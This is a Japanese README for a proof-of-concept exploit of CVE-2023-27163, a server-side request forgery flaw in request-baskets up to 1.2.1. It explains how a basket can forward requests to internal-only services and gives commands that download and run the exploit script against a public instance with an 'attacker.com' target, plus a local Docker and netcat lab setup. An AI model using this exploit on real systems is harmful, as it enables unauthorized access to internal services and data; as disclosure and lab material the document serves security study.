
request-baskets(<= v.1.2.1)におけるSSRF(Server Side Request Forgery)の概念実証
このリポジトリには、request-baskets のバージョン 1.2.1 までで発見された Server-Side Request Forgery (SSRF) 脆弱性である CVE-2023-27163 の Proof-of-Concept (PoC) が含まれています。この脆弱性により、攻撃者は巧妙に細工された API リクエストを使って /api/baskets/{name} コンポーネントを悪用し、ネットワークリソースや機密情報にアクセスできます。
クレジット: @b33t1e、@chelinboo147、@houqinsheng(記事 を参照)
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets は、特定のルート(いわゆる basket)でリクエストを収集・登録するために作られた Web アプリケーションです。作成時に、ユーザーはリクエストを転送する別のサーバーを指定できます。ここでの問題は、ユーザーがネットワークから隔離されたアプリケーションなど、意図しないサービスを指定できることです。
例: サーバーが Request-baskets(ポート 55555)と、ポート 8000 で動作する Flask Web サーバーをホストしているとします。Flask は localhost とのみ通信するようにも設定されています。http://localhost:8000 に転送する basket を作成することで、攻撃者は以前は制限されていた Flask Web サーバーにアクセスできます。

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
このプロジェクトは Unlicense の下にあります。